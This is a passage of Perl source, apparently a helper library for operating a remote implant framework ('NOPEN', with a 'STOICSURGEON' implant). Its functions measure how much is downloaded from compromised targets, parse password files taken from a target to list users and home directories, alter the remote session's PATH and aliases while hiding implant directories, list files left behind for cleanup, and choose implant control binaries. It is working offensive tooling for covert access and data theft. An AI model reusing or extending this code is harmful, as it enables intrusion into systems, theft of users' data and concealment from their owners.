    #      dbg("datestamp=$datestamp junk=$junk junk0=$junk0 junk2=$junk2 junk3=$junk3 Adding path=$path=");

    # if any spaces in the $path, escape them
    $path =~ s,(\s),\\\1,g;

    push(@retarr,$path);
    $datestamp{$path} = $datestamp if $datestamp;
  }
  close(UTILSIN);
  return @retarr;
}#readpathsfromfile

sub waitforothers {
  # @_ contains the arguments for mygetinput, an initial "do you want to wait" prompt
  #dbg("In waitforothers with splitcount=$splitcount= (@_)");
  my $othercount = $splitcount-1;
  my ($are,$s) = ("are","s");
  ($are,$s) = () if ($othercount == 1);
  my $sleepcount = 37;
  $_[0] .= "If you answer no, this window will go into a -holdwindow status, running\n".
    "\"w\" every 37 seconds. You can answer any integer (implying \"No\") and \n".
    "sleep that number of seconds, instead. You will be shown how to exit that\n".
    "loop when you are ready.\n\n".
    "So, are you ready yet? [Y]";
  while (1) {
    my ($ans,$longans) = mygetinput
      (@_);
    $ans = "y" unless $ans;
    if ($longans =~ /(\d+)/) {
      $sleepcount = $1 if $1 > 0;
      $ans = "n" if $ans =~ /\d/;
    }
    unless ($ans eq "n" or $ans eq "y") {
      mywarn("You must answer Y or N or some integer number\n".
	     "of seconds to sleep between \"w\" commands");
      next;
    }
    if ($ans ne "y") {
      my $loopcount = 0;
      my $touchfile = "$optmp/othersdone.lss.$$";
      my ($prompt) =
	(".\n\n".
	 "Paste this locally to drop out of this loop and continue:\n\n".
	 "    touch $touchfile");
      mywarn($prompt);
      while (1) {
	last if (-f $touchfile);
	sleep 1;
	if ($loopcount++ >= $sleepcount) {
	  $loopcount = 0;
	  doit("w");
	  mywarn($prompt);
	}
      }
      unlink($touchfile);
    }
    last;
  }
}

sub sumsizes {
  # sumsizes(): Given a NOPEN -ls output (scalar), compute the sum
  #   of the sizes of all files (only files), return it in a descriptive
  #   string, including the megabytes and gigabytes, as well.
  #   If optional $sizecap,$maxsize is provided, only count $sizecap bytes of
  #   files bigger than that.
  local ($chiliopts,$listing,$maxdl,$sizecap,$summaxsize,$adjustment) = (@_);
  my $sum = 0;
  my $tailmore = "";
  foreach (split(/\n/,$listing)) {
    s/^\s*//;
    next unless /^-/; # do not count directories, only files
    my ($size) = /\S+\s+\S+\s+\S+\s+\S+\s+(\d+)/;
    if ($sizecap and $size > $summaxsize and $summaxsize) {
      #dbg("summaxsize=$summaxsize sizecap=$sizecap sum=$sum before");
      $tailmore = ", at most $summaxsize bytes per file";
      $sum += $summaxsize;
    } else {
      $sum += $size;
    }
    #dbg("maxdl=$maxdl size=$size sizecap=$sizecap summaxsize=$summaxsize sum=$sum");
  }
  my $sumM = sprintf("%.2f",$sum / 1024 / 1024);
  my $sumG = sprintf("%.2f",$sumM / 1024);
  my $summore = "";
  if ($maxdl) {
    my $bwnow = (bwsofar())[0];
    my $closeto = "close to";
    my $pct = ($sumM+$bwnow)/$maxdl;
    $closeto = "more than" if ($pct > 1);
    $summore = "\n$COLOR_FAILURE\n".
      "NOTE: This amount plus your download so far (${bwnow}M) is $closeto your\n".
      "      max download setting of ${maxdl}M. Keep in mind that the size numbers\n".
      "      on target above are not compressed, but your download so far and max\n".
      "      download are. "
	if ($pct > 0.85);
    if ($pct > 0.85 and $pct < 1) {
      $summore .=         "If you download these files and exceed ${maxdl}M, $prog\n".
      "      will offer to stop (once the current -get command finishes.\n";
    }
    $summore .= "\n$COLOR_NORMAL\n";
  }
  $sum -= $adjustment;
  my $chilimore = $chiliopts ? " before -chili filtering" : "";
  return "\nCumulative total size$chilimore (files only$tailmore): $sum bytes (${sumM}M  or  ${sumG}G)\n".
    $summore;
}#sumsizes()

sub whichbin {
  # Look for $targetbinary in PATH with nopenlss, set
  # global $host_bins{$targetbin} if we find it.
  local ($targetbinary) = (@_);
  my $retval;
  # Verify that the binary is available.
  return $host_bins{$targetbinary} if $host_bins{$targetbinary};
  my ($output,$nopenlines,@output) = nopenlss("-UFQP",$targetbinary);
  foreach my $line (@output) {
    my ($size,$month,$path) = $line =~
      m,^-.*\s+(\d+)\s+(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec).*\d{4}\s+(/.*)$, ;
    $path =~ s,(\s),\\\1,g;
    newhostvar("host_bins{$targetbinary}",$path);
    $retval = $path;
    last;
  }
  
  if (!$retval) {
    myalert("binary $targetbinaryary is not in the NOPEN PATH=\$PATH");
  }
  return $retval;
}#whichbin

sub nopenaddpath {
  # Global $addtoend means add to end of PATH, default is front.
  # Global $allwindows means save this new path to $nopen_mynorc
  # then we clear the global $allwindows.
  # which autoscriptcheck will see and add for every (new) window on this guy.
  # Returns @env, one variable per line. Use this to save -setenv after setting
  # PATH if -setenv not needed.
  # If any of @adddirs

  local (@adddirs) = (@_);

  my ($output,$nopenlines,@env) = doit("-getenv");
  my $oldpath="";
  foreach (@env) {
    ($oldpath) = /PATH=(.*)/;
    last if $oldpath;
  }
  mydie("Error: old PATH not found")
    unless $oldpath;
  #############################
  # Build new PATH
  #############################
  #my $newpath = join(":",@adddirs).":".$oldpath;
  my ($warnings,$nohidden)=();
  my $newpath=$oldpath;
  @adddirs = reverse @adddirs unless $addtoend;
  foreach (@adddirs) {
    s/^\s*//;
    s/[\/\s]*$//;
    $nohidden++ if ($_ eq "NOHIDDEN");
    next unless (m,^/, or $_ eq ".");
    if ($_ eq ".") {
      my ($clientver,$histfile,$cmdoutfile,$localcwd,$nhome,$localpid,$localppid,
	  $serverver,$wdir,$targetos,$targetcwd,$targetpid,$targetppid)
	=  parsestatus();
      if (!$targetcwd) {
	mywarn("No CWD on target...try -cd /tmp to get one. Skipping .");
	next;
      }
      $_ = $targetcwd;
    }
    #dbg("newpath=$newpath= _=$_=");
    if (":${newpath}:" =~ /:$_:/) {
#      $warnings .= "\nSkipping $_, already in PATH";
#      next;
	# Temporary colons
	$newpath = ":${newpath}:";
	# Remove this new entry everywhere, it goes to front after this
	$newpath =~ s/:$_:/:/g;
	# Remove temporary colons
	($newpath) = $newpath =~ /^:*(.+[^:]):*$/;
    }
    #dbg("newpath=$newpath=");
    if ($addtoend) {
      $newpath="$newpath:$_";
    } else {
      $newpath="$_:$newpath";
    }
    #dbg("newpath=$newpath=");
  }
  if ($nohidden) {
      # Temporary colons
      $newpath = ":${newpath}:";
      foreach my $hiddendir (keys %host_hiddendirs) {
	  if ($newpath =~ m,:($hiddendir[^:]*):,) {
	      my $badpath = $1;
	      $warnings .= "\nRemoving $badpath since NOHIDDEN was set.\n";
	      $newpath =~ s,:$badpath:,:,g;
	      redo;
	  }
      }
      # Remove temporary colons
      ($newpath) = $newpath =~ /^:*(.+[^:]):*$/;

  }
  if ($newpath eq $oldpath) {
      #dbg("\n\n$warnings\nNo change to PATH.");
      if ($prog =~ /addpath/) {
	  mywarn("\n\n$warnings\nNo change to PATH.");
      } else {
	  mywarn($warnings) if $warnings;
      }
  } else {
    #############################
    # -setenv new PATH
    #############################
      if ($warnings) {
	  mywarn($warnings);
	  sleep 2;
      }
    ($output,$nopenlines,@env) = doit("-setenv PATH=$newpath");
    my $mypath="";
    foreach (@env) {
      $mypath = $_ if ($_ eq "PATH=$newpath");
    }
    mydie("Error. PATH returned not what it should be.") unless $mypath;
    #dbg("allwindows=$allwindows Just set new path $newpath");
    # Save this path if need be
    if ($allwindows) {
      my ($oldcontent,@oldaddpaths) = ();
      if (-e $nopen_mynorc) {
	if (open(UTILSIN,$nopen_mynorc)) {
	  while (<UTILSIN>) {
	    unless (/alias -mypath=(-setenv\s+PATH=.*)/) {
	      $oldcontent .= $_ ;
	      next;
	    }
	    my $oldaddpath = $1;
	    $oldaddpath =~ s/\s*$//;
	    @oldaddpaths = split(/\s+/,$oldaddpath);
	  }
	  close(UTILSIN);
	}
      }
      if (open(UTILSOUT,">$nopen_mynorc")) {
	print UTILSOUT $oldcontent;
	print UTILSOUT "alias -mypath=-setenv $mypath\n" if $mypath;
      }
      close(UTILSOUT);
      $allwindows=0;
    }
  }
  return @env;
}#nopenaddpath()

sub nopenaddalias {
  # Confirmed that duplicate aliases work as needed, the newest
  # stays in effect if its readrc is done last.
  # We use -help to preserve the old syntax if $preserve is set.
  # Note that autoscriptcheck will see and add the new aliases
  # for every (new) window on this guy.

  local ($alias,$newvalue,$preserve,$testing) = (@_);
  #dbg("in nopenaddalias(($alias,$newvalue,$preserve,$testing) = (@_);");
  my $helpfile = "$optmp/.help.$nopen_rhostname";
  unlink($helpfile);
  my ($oldsyntax,$oldline,$oldvalue,$oldreadrc,$oldcontent) = ();
  if ($preserve) {
    doit("-help >L:$helpfile");
    if (open(UTILSIN,$helpfile)) {
      while (<UTILSIN>) {
	s/\s*$//;
	($oldline,$oldvalue) = ($1,$2)
	  if /^\s*($alias\s*=\s*(.*))/;
      }
    }
    close(UTILSIN);
    ($oldsyntax) = $oldvalue =~ /\s(.*)/;
    #dbg("orig newvalue=$newvalue=");
    $newvalue .= " $oldsyntax" if $oldsyntax;
    #dbg("Inside:    nopenaddalias(@_) with preserve=$preserve oldvalue=$oldvalue oldsyntax=$oldsyntax newvalue=$newvalue");
  }

  if (-e $nopen_mynorc) {
    if (open(UTILSIN,$nopen_mynorc)) {
      while (<UTILSIN>) {
	next if /^\s*alias -mynorc=-readrc\s+(.*)/;
	next if /^\s*alias $alias=/;
	$oldcontent .= $_ ;
      }
      close(UTILSIN);
    }
  }
  my $newline = "alias $alias=$newvalue\n";
  #dbg("nopenaddalias(@_) returning ($newline,$oldline)") if $testing;
  return($newline,$oldline) if $testing;
  doit("# Just set new alias: $newline");
  if (open(UTILSOUT,">$nopen_mynorc")) {
    print UTILSOUT $oldcontent;
    print UTILSOUT $newline;
    print UTILSOUT "alias -mynorc=-readrc $nopen_mynorc\n";
  }
  close(UTILSOUT);
  return "";
}#nopenaddalias()

sub parseuserdirs {
  local ($host,$checkcount,$callingfunction) = (@_);
  # Function uses all *passw* files under our take for $host thus far,
  # returns a list of all unique home directories, ignoring whether the user
  # has a shell or not. If $checkcount is provided, and if the resulting list
  # is bigger than that, give operator a chance to pare down the list with
  # a popup editor.
  # RETURNS: ($listofusers,@arrayoftheirdirs)
  $callingfunction = "the calling function" unless $callingfunction;
  my @list = split(/\n/,`find $opdown/$host -type f -name "*passw*"`);
  return () unless @list;
  @list = split(/\n/,`/bin/ls -cat @list`);
  my ($userlist,$filesparsed,%paths,$usercount,$dircount,%filesums) = ();
  # ASSERT: @list is now sorted list of all *passw* files from $host, newest first
  foreach my $pwdfile (@list) {
    my $filesum = `cat $pwdfile | sum`;
    next if $filesums{$filesum}++; # Do not process a file we already have
    chomp(my $asciitest = `file -b $pwdfile | grep -i ascii`);
    next unless ($asciitest);
    next unless open(UTILSIN,$pwdfile);
    $filesparsed .= "\n     $pwdfile";
    while (<UTILSIN>) {
      chomp;
      s/\s/_/g; # Eliminate pesky spaces. If the dir has a space we'll miss it.
      my @fields = split(/:/);
      my $dir = $fields[5];
      next unless ($dir =~ m,^/,);
      $paths{$dir}++;
      $usercount++;
      unless ($user{$dir} =~ /^$fields[0]$/ or
	      $user{$dir} =~ /,$fields[0],/ or
	      $user{$dir} =~ /^$fields[0],/ or
	      $user{$dir} =~ /,$fields[0]$/
	     ) {
	$user{$dir} .= "," if $user{$dir};
	$user{$dir} .= $fields[0];
      }
      chomp($shell{$dir} = $fields[6]);
    }
    close(UTILSIN);
  }
  my @dirs = keys %paths;
  $dircount = @dirs;
  my $originalcount = @dirs;
  # Several parts here are interactive with user only if we
  # passed our $checkcount max (if any). The remainder is to build
  # and return $userlist.
  progprint
    (".\n$COLOR_FAILURE\n".
     "parseuserdirs() is done processing these *passw* files for\n".
     "$host:\n".
     $filesparsed."\n\n".
     "The list of home directories for $nopen_rhostname has $dircount\n".
     "directories and $usercount users. This is more than $checkcount entries. Use the vi editor\n".
     "that just popped up to trim the list if desired. Once you save the file, only\n".
     "those directories will be parsed by $callingfunction.\n".
     ""
    ) if ($checkcount > 0 and $dircount > $checkcount);
  if (open(UTILSOUT,">$optmp/parseuserdirs.$host")) {
    print UTILSOUT
      "# Ignore this and any commented lines. Delete any lines\n".
      "# you do not want processed by $callingfunction.\n#\n".
      sprintf("# %-85s  %-30s  %-20s\n","USER(S)","DIRECTORY","SHELL").
      sprintf("# %-85s  %-30s  %-20s\n","#######","#########","#####");
    foreach my $dir (@dirs) {
      printf UTILSOUT "%-87s  %-30s  %-20s\n",$user{$dir},$dir,$shell{$dir};
      $userlist .= sprintf "    %-25s   $user{$dir}\n",$dir;
    }
    close(UTILSOUT);
    system("xterm -geometry 155x58-0+0 -title \"Directory Results for $host\" -e \"vi $optmp/parseuserdirs.$host\" ") if ($checkcount > 0 and $dircount > $checkcount);
    @dirs = ();
    my %gotalready = ();
    if (open(UTILSIN,"$optmp/parseuserdirs.$host")) {
      while (<UTILSIN>) {
	next if /\s*\#/;
	my ($user,$dir,$shell) = /(\S+)\s+(\S+)\s+(\S+)/;
	push(@dirs,$dir) unless $gotalready{$dir}++;
      }
    }
  }
  my $newcount = @dirs;
  my $now = "now";
  $now = "still" if $newcount == $originalcount;
  mypause("You started with $originalcount directory lines and $now have $newcount.")
    if ($checkcount > 0 and $dircount > $checkcount);
  return ($userlist,@dirs);
}#parseuserdirs()

sub clearallopts {
  my $ltrs = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
  for (my $i = 0 ; $i < length$ltrs ; $i++) {
    my $ltr = substr($ltrs,$i,1);
#    my $dbgval = eval "\$opt_$ltr";
#    dbg("BEFORE in clearallopts opt_$ltr val=$dbgval");
#    dbg("BEFORE: opt_$ltr=$dbgval");
    eval "undef \$opt_$ltr";
    eval "undef \$def_$ltr";
#    $dbgval = eval "\$opt_$ltr";
#    dbg("AFTER  in clearallopts opt_$ltr val=$dbgval");
#    dbg("AFTER:  opt_$ltr=$dbgval");
  }
}#clearallopts

sub putfiles {
  #GLOBALS (%putfiles,@targetfiles,@stilltherefiles);
  # Modifies global hashed and regular array
  #    $putfiles{$localfile} = $listofremotefiles (\n delimited)
  #    $localfile is the localfile put up
  #    $listofremotefiles is the file(s) on target. If the same source was
  #    put more thanonce, the value here is a \n delimited list of remote names
  #    @targetfiles is the array of (unique) remote filenames ever put on target.
  #    @stilltherefiles is the array of (unique) remote filenames (possibly) still on target.
  # for the target $nopen_rhostname
  my ($clientver,$histfile,$cmdoutfile,$localcwd,$nhome,$localpid,$localppid,
      $serverver,$wdir,$targetos,$targetcwd,$targetpid,$targetppid)
    =  parsestatus();
  my ($calledindirect,@myoutput) = (0);
  $calledindirect = 1 unless $prog =~ /putfiles/;
  return unless open(UTILSIN,$histfile);
  local ($what) = (@_);
  my $showls = 1; # Default to always do this
  my $quiet = 0;
  $quiet = 1 if $what =~ /quiet/i;
  my $spacer = "     \\---->>>>  AND ALSO               ";
  my (%seenput,%seenmkdir,%seentouched) = ();
  while (<UTILSIN>) {
    # Ignore local commands (touches)
    next if (/\s*(-nohist){0,1}\s*-l(cd|sh)/);
    if (/\s*(-nohist){0,1}\s*-put\s+(\S+)\s+(.+)/) {
      my ($src,$dst) = ($2,$3);
      #dbg("src=$src dst=$dst 1=$1 2=$2 3=$3 UTILSIN=$_");
      $dst =~ s/^-/\\\\-/;
#      unless ($seenput{$src}) {
	$seenput{$src}++;
	unless ($putfiles{$src} =~ /\Q $dst\E\n/ or
		$putfiles{$src} =~ /\Q $dst\E$/) {
	  $putfiles{$src} .= "\n#$spacer " if $putfiles{$src};
	  $putfiles{$src} .= $dst;
	  # Make $dst safe for non-priv windows to -ls
	  foreach my $hdir (keys %host_hiddendirs) {
	    my $new = $hdir;
	    $new =~ s,.$,\?,g;
	    $dst =~ s,$hdir,$new,g;
	  }
	  push(@targetfiles,$dst);
#	  dbg(" targetfiles=(@targetfiles) setting \$putfiles{$src}.=$dst dst=$dst src=$src 1=$1 Found -put in $histfile: $_");
#	}
      }
    } elsif (/\s*(-nohist){0,1}\s*(-){0,1}mkdir\s+(-\S+\s+){0,1}(.*)$/) {
      my ($opts,$dir) = ($3,$4);
      chomp($dir);
      $dir =~ s,.$,\?,;
      unless ($seenmkdir{$dir}++) {
	$putfiles{"MKDIRs DURING OP"} .= "\n#$spacer "
	  if $putfiles{"MKDIRs DURING OP"};
	$putfiles{"MKDIRs DURING OP"} .= $dir;
	# Make $dir safe for non-priv windows to -ls
        foreach my $hdir (keys %host_hiddendirs) {
          my $new = $hdir;
          $new =~ s,.$,\?,g;
          $dir =~ s,$hdir,$new,g;
        }
	push(@targetfiles,$dir);
      }
    } elsif (/\s*(-nohist){0,1}\s*(-){0,1}touch\s+(\S+\s+){0,1}(\S+)$/) {
      # NOTE: 20100621: Disabled the check of touched files. Those are
      # normally desirable, not meant to be reversed.
      next;
      my ($src,$dst) = ($3,$4);
      unless ($seentouched{$dst}++) {
	$putfiles{"TOUCHED DURING OP"} .= "\n#$spacer "
	  if $putfiles{"TOUCHED DURING OP"};
	$putfiles{"TOUCHED DURING OP"} .= $dst;
	# Make $dst safe for non-priv windows to -ls
        foreach my $hdir (keys %host_hiddendirs) {
          my $new = $hdir;
          $new =~ s,.$,\?,g;
          $dst =~ s,$hdir,$new,g;
        }
	push(@targetfiles,$dst);
#	dbg(" targetfiles=(@targetfiles) setting \$putfiles{TOUCHED}.=$dst src=$src 2=$2 1=$1 Found touch in $histfile: $_");
      }
    } else {
#      dbg("Nothing to see here");
    }
  }
  close(UTILSIN);
  ($output,$nopenlines,@myoutput) = ();

  if ($showls and @targetfiles) {
    #dbg("Getting listing of targetfiles=(@targetfiles)");
    ($output,$nopenlines,@myoutput) = nopenlss("-dU",@targetfiles);
  }
#dbg("myoutput=(@myoutput)

#output=$output=

#showls=$showls=
#targetfiles=(@targetfiles)


#");
  my $filesoutput =
    sprintf("# %-38s %-38s\n",
	    "LOCAL FILE",
	    "REMOTE FILE$COLOR_FAILURE (still there if red below)$COLOR_NOTE");
  $filesoutput .=
    sprintf("# %-38s %-38s\n",
	    "##########",
	    "###########");
  foreach my $localfile (keys %putfiles) {
#dbg("Inside foreach $localfile keys \%putfiles");
    next if $localfile eq "TOUCHED DURING OP";
    $filesoutput .=
      sprintf("# %-38s %-38s\n",
	      $localfile,$putfiles{$localfile}
	     );
  }
  $filesoutput .= 
    sprintf("# %-38s %-38s\n",
	    "TOUCHED DURING OP",$putfiles{"TOUCHED DURING OP"}
	   ) if $putfiles{"TOUCHED DURING OP"};
  my ($this,$is,$s,$ies,$warning,$allclear) = ("THIS","IS","","Y");
  my (@remotefiles,@remotedirs) = ();
  if (@myoutput > 0) {
    processnopenls(\@remotefiles,0,1,0,$output,$nopenlines,@myoutput);
    foreach my $dirline (grep /^\s*d/,@myoutput) {
      my ($size,$month,$path) = $dirline =~
	m,^d.*\s+(\d+)\s+(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec).*\d{4}\s+(.*)$, ;
      #dbg("Considering now =$dirline=");
      next unless $path;
      push(@remotedirs,$path);
      #dbg("remotedirs is now (@remotedirs)");
    }
    @stilltherefiles = @myoutput;
    ($this,$is,$s,$ies) = ("THESE","ARE","S","IES");
    $warning = "$COLOR_FAILURE\n".
#      "# LIKELY $this $is OUR -PUT/TOUCHED FILE$s STILL ON TARGET\n#\n".
      "# LIKELY $this $is OUR -PUT FILE$s or made DIRECTOR$ies STILL ON TARGET\n#\n".
	$output.
	  "\n";
    mygetinput($warning,
	       "CONTINUE") unless $quiet;
  }
  $allclear = "$COLOR_NORMAL\n".
    "# It appears all have since been removed."
      unless $warning;
  #dbg("remotefiles=(@remotefiles)");
  #dbg("myoutput=(@myoutput)");
  foreach my $stillthere (@remotefiles,@remotedirs) {
    #dbg("in stillthere=$stillthere");
    $filesoutput =~ s,(\s)\Q$stillthere\E(\s),$COLOR_FAILURE\1\Q$stillthere\E$COLOR_NOTE\2,g;
  }
  # Multiple exit strategies here
  mydie($warning.
	"$COLOR_NORMAL\n\n".
#	"# Files -put/[-]touched on $nopen_rhostname this op:\n#$COLOR_NOTE\n".
	"# Files -put or directories made on $nopen_rhostname this op:\n#$COLOR_NOTE\n".
	$filesoutput.
	$allclear.
	"") unless !@targetfiles or $calledindirect or $calledviarequire;
  progprint($warning.
	    "$COLOR_NORMAL\n\n".
#	    "# Files -put/[-]touched on $nopen_rhostname this op:\n#$COLOR_NOTE\n".
	    "# Files -put on $nopen_rhostname this op:\n#$COLOR_NOTE\n".
	    $filesoutput.
	    $allclear.
	"") if @targetfiles and !$quiet;
  mydie("$COLOR_FAILURE\n\n".
	"No files -put or [-]touched during op".
	"") unless $quiet or @targetfiles or $calledindirect or $calledviarequire;

  # May have been $calledindirect (function call) or $calledviarequire
  progprint("$COLOR_FAILURE\n\n".
	    "No files -put or [-]touched during op".
	    "") unless $quiet or @targetfiles;
  return $warning.
    "$COLOR_NORMAL\n\n".
    "# Files -put/[-]touched on $nopen_rhostname this op:\n#$COLOR_NOTE\n".
    $filesoutput.
    $allclear;
}#putfiles

#sub gotfiles {
#  # Returns a hashed array: (%gotfiles)

#TODO: Gotfiles is a bit harder due to options. Do we need it?

#  #    $gotfiles{$remotefile} = $localfile
#  #    $localfile is the localfile got up
#  #    $remotefile is the file on target
#  my ($clientver,$histfile,$cmdoutfile,$localcwd,$nhome,$localpid,$localppid,
#      $serverver,$wdir,$targetos,$targetcwd,$targetpid,$targetppid)
#    =  parsestatus();
#  return () unless open(UTILSIN,$histfile);
#  my %gotfiles = ();
#  while (<UTILSIN>) {
#    next unless /\s*(-nohist){0,1}\s*-get\s+(\S+)\s+(\S+)/;
#    $gotfiles{$2} = $1;
#  }
#  close(UTILSIN);
#  return %gotfiles;

#}#gotfiles

sub fixdirswithslashes {
# NEVER MIND THIS IS TOO MESSY NOT USING IT
#dbg("opdir=$opdir Inside fixdirswithslashes(@_) \$nopen_rhostname_with_slashes=$nopen_rhostname_with_slashes=");

  return unless $nopen_rhostname_with_slashes;
  # Fix dirs first
my ($newdir,$subdir,$firstdir,$count,@dirs,%donedirs)=(0);
  while (1) {
    last if $count++>10;
    @dirs = split(/\n/,`find $opdir/ -type d | grep "$nopen_rhostname_with_slashes"`);
    last unless @dirs;
    while (@dirs) {
      my $justone = shift(@dirs);
      ($firstdir,$subdir) = $justone =~ m,(.*$nopen_rhostname_with_slashes/([^/]*)),;
      next unless $subdir;
      $newdir = $firstdir;
      $newdir =~ s/$nopen_rhostname_with_slashes/$nopen_rhostname/g;
#      dbg("justone=$justone dirs=(@dirs)\n\n\ncount=$count fixing slashdirs: mv $firstdir $newdir");
      if (-d $newdir) {
	system("mv $firstdir/* $newdir");
      } else {
	system("mv $firstdir $newdir");
      }
      last;
    }
  }
}#fixdirswithslashes

sub mystoicctrl {
  # If given new local file as second argument, that replaces whatever was in
  # $optmp/stoicctrl.$nopen_rhostname.
  # RETURNS: Full path to correct file for $nopen_rhostname, per user input.
  # First time called for target, interviews operator to confirm what
  # StoicsurgeonCtrl file to use on $nopen_myhostname.
  # It is saved in $optmp/stoicctrl.$nopen_rhostname for future
  # calls to mystoicctrl.
  return "" unless $nopen_rhostname;
  local ($what,$newfile,$comment) = (@_);
  # If $noprompt, we return value set previously by user OR
  #               if there is exactly one match to $stoicver
  #               (from varkeys for this host), then we return that.

  my $noprompt = 1 if $what =~ /noprompt/i;
  my $forceit = 1 if $what =~ /forceit/i;
  my $candidatefile = "";
  $candidatefile = $newfile if -e $newfile;
  $forceit = 1 unless ($candidatefile or $noprompt);
  my ($killstring,@more,$stoicmore1,$stoicmore) = ();

  # Call findinvarkeys() to populate $IMPLANTVERS{IP+stoicsurgeon}
  my ($stoicver,$stoicctrl) = ();
  my ($match,
      @IP,%FQDN,%KEYSTR,%OS,%IMPLANTS,
      %UTCOFFSET,%ALLIMPLANTKEYS,%IMPLANTKEYS,%IMPLANTVERS,%ALLIMPLANTVERS) = () ;
  #  dbg("in mystoicctrl(@_):
  #nopen_myip=$nopen_myip
  #\$nopen_rhostname=$nopen_rhostname=
  #\$nopen_ip=$nopen_ip=
  #");
  
  if ($match = findinvarkeys($nopen_myip,1,\@IP,\%FQDN,\%KEYSTR,\%OS,\%IMPLANTS,
			     \%UTCOFFSET,\%ALLIMPLANTKEYS,\%IMPLANTKEYS,\%IMPLANTVERS,\%ALLIMPLANTVERS)
     ) {
    #dbg("Found $nopen_myip in varkeys/: match=$match= IP=(@IP)");
#    foreach my $key (keys %FQDN) {
#      dbg("FQDN{$key}=$FQDN{$key}=");
#    }
#    foreach my $key (keys %KEYSTR) {
#      dbg("KEYSTR{$key}=$KEYSTR{$key}=");
#    }
#    foreach my $key (keys %OS) {
#      dbg("OS{$key}=$OS{$key}=");
#    }
#    foreach my $key (keys %IMPLANTS) {
#      dbg("IMPLANTS{$key}=$IMPLANTS{$key}=");
#    }
#    foreach my $key (keys %UTCOFFSET) {
#      dbg("UTCOFFSET{$key}=$UTCOFFSET{$key}=");
#    }
#    foreach my $key (keys %ALLIMPLANTKEYS) {
#      dbg("ALLIMPLANTKEYS{$key}=$ALLIMPLANTKEYS{$key}=");
#    }
#    foreach my $key (keys %IMPLANTKEYS) {
#      dbg("IMPLANTKEYS{$key}=$IMPLANTKEYS{$key}=");
#    }
#    foreach my $key (keys %IMPLANTVERS) {
#      dbg("IMPLANTVERS{$key}=$IMPLANTVERS{$key}=");
#    }
#    foreach my $key (keys %ALLIMPLANTVERS) {
#      dbg("ALLIMPLANTVERS{$key}=$ALLIMPLANTVERS{$key}=");
#    }
    $stoicver = $IMPLANTVERS{"${nopen_myip}+stoicsurgeon"}
      if $IMPLANTVERS{"${nopen_myip}+stoicsurgeon"};
    if ($IMPLANTVERS{"${nopen_myip}+STOICSURGEON"}) {
      $stoicver .= ",".$IMPLANTVERS{"${nopen_myip}+STOICSURGEON"}
	unless $IMPLANTVERS{"${nopen_myip}+stoicsurgeon"} eq $IMPLANTVERS{"${nopen_myip}+STOICSURGEON"};
    }
  } else {
#    dbg("NOT Found in varkeys: nopen_myip=$nopen_myip=");
  }

  if ($stoicver) {
    @more = split(/,/,$stoicver);
    if ($stoicver =~ /,/) {
      $stoicmore1 = "S (ODD, more than one? You must verify)";
    }
    $stoicver =~ s/,/, /g;
    $stoicmore = "../bin/varkeys indicates STOICSURGEON VERSION$stoicmore1: $stoicver\n".
      "exists on $nopen_rhostname\n\n".
      "Please confirm that is correct.\n\n";
  }
  my @origctrlslist = split(/\n/,`find $opup -type f -o -type l | grep -i Ctrl | sort`);
  @origctrlslist = grep  /stoicsurgeon.*ctrl/i    , @origctrlslist;
  my @ctrlslist = parelist(@origctrlslist);
  mydie("No stoicsurgeon_ctrl.* binaries found in $opup. Get help.")
    unless @ctrlslist;
  #grep  /stoicsurgeon.*ctrl/i  , sort readdir SKINNYDIR;
#  my @ctrlslist = @origctrlslist;
#  mydie("No stoicsurgeon_ctrl.* binaries found in $opup. Get help.")
#    unless @ctrlslist;
#  my $origsize = @ctrlslist;
##dbg(scalar @ctrlslist . "  "."ctrlslist=(@ctrlslist)");
#  @ctrlslist = grep  /linux/i    , @ctrlslist
#    if $linuxtarget;
##dbg(scalar @ctrlslist . "  "."ctrlslist=(@ctrlslist)");
#  @ctrlslist = grep  /sparc/i    , @ctrlslist
#    if $sparctarget;
##dbg(scalar @ctrlslist . "  "."ctrlslist=(@ctrlslist)");
#  if ($inteltarget) {
#    @ctrlslist = grep  /[xi].{0,1}86/i    , @ctrlslist;
#  } else {
#    @ctrlslist = grep  ! /[xi].{0,1}86/i    , @ctrlslist;
#  }
##dbg(scalar @ctrlslist . "  "."ctrlslist=(@ctrlslist)");
#  @ctrlslist = grep  /sparc64/i  , @ctrlslist
#    if $sparc64target;
##dbg(scalar @ctrlslist . "  "."ctrlslist=(@ctrlslist)");
#  @ctrlslist = grep  /64/i       , @ctrlslist
#    if $intel64target;
##dbg(scalar @ctrlslist . "  "."ctrlslist=(@ctrlslist)");
#  if ($solaristarget) {
#    @ctrlslist = grep  /solaris/i  , @ctrlslist;
#    #dbg(scalar @ctrlslist . "  "."ctrlslist=(@ctrlslist)");
#  }
#  my @maybelist=();
#  if ($solaristargetversion) {
#    my $str = $solaristargetversion;
#    $str =~ s/\./\\\./g;
#    @maybelist = grep  /solaris$solaristargetversion/i       , @ctrlslist;
#  }
#  @ctrlslist = @maybelist if @maybelist;
#  dbg("FINAL: ".scalar @ctrlslist . "  "."ctrlslist=(@ctrlslist)");
#dbg("stoicver=$stoicver= noprompt=$noprompt=");
  unless ($stoicver or $noprompt) {
    # If no good guess show vers that match in popup
    my $height = minof(77,scalar @ctrlslist + 15);
    my $showlines = `ls -ilLrt @ctrlslist`;
#dbg("showlines from ls -ilL @ctrlslist:\n$showlines");
    my $width = 80;
    foreach my $filename (@ctrlslist) {
      $width = length $filename if length $filename > $width;
    }
    # $width needs to be wider as we are now using `ls -lLi` on every file
    $width += 53;
    $killstring = dolocalecho
      ("# ".gmtime()."\n#\n".
       "# These Stoicsurgeon-Ctrls match the following:\n".
       "#     nopen_serverinfo=$nopen_serverinfo\n".
       "#          linuxtarget=$linuxtarget=\n".
       "#        solaristarget=$solaristarget=\n".
       "# solaristargetversion=$solaristargetversion=\n".
       "#          sparctarget=$sparctarget=\n".
       "#          inteltarget=$inteltarget=\n".
       "#        sparc64target=$sparc64target=\n".
       "#        intel64target=$intel64target=\n".
       "#             targetos=$targetos=\n\n".
#       join("\n",@ctrlslist).
       $showlines.
       "",
       "popup -geometry ${width}x$height-0+0 -title \"Stoic_Ctrl_Choices:_$nopen_rhostname\""
      );
    #dbg("in mystoicctrl(@_) dolocalecho just retuned killstring=$killstring=");
  }

  my $matchsize = @ctrlslist;
  $stoicmore .= "$matchsize of $origsize stoicsurgeon_ctrl_* binaries in $opup";
  $stoicmore .= "\nmatch: $nopen_rhostname\n".
